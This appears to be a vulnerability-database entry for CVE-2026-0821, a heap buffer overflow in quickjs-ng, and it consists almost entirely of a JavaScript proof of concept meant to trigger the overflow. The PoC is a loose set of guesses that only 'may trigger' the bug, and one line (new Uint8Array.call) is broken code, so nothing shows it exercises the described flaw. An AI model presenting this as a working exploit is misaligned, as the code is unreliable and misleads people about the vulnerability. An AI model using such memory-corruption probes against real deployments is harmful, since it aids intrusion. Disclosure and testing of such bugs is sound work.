CVE-2026-0821: quickjs-ng quickjs堆缓冲区溢出漏洞

// CVE-2026-0821 PoC - quickjs-ng quickjs heap buffer overflow in js_typed_array_constructor // Affected: quickjs-ng quickjs <= 0.11.0 // CVSS: 7.3 (High) // This PoC demonstrates triggering heap buffer overflow via TypedArray manipulation // Note: This is a simplified PoC for demonstration purposes function triggerHeapOverflow() { try { // Attempt to create TypedArray with invalid parameters // that may trigger buffer overflow in js_typed_array_constructor // Method 1: Large length parameter const largeArray = new Uint8Array(0x7FFFFFFF); // Method 2: TypedArray with negative or zero length const negArray = new Int32Array(-1); // Method 3: Subarray with out-of-bounds offset const buffer = new ArrayBuffer(1024); const view = new Uint8Array(buffer); const subView = new Uint8Array(buffer, 0, {valueOf: () => 0xFFFFFFFF}); // Method 4: TypedArray constructor with manipulated prototype chain const maliciousTypedArray = new Uint8Array.call(null, 0xFFFFFFFF); console.log('Potential overflow triggered'); } catch (e) { console.log('Error occurred:', e.message); } } // Execute the PoC triggerHeapOverflow(); // To verify: Compile quickjs with ASAN/UBSAN and run this PoC // Expected: AddressSanitizer will detect heap-buffer-overflow // $ gcc -fsanitize=address -o quickjs quickjs.c // $ ./quickjs poc.js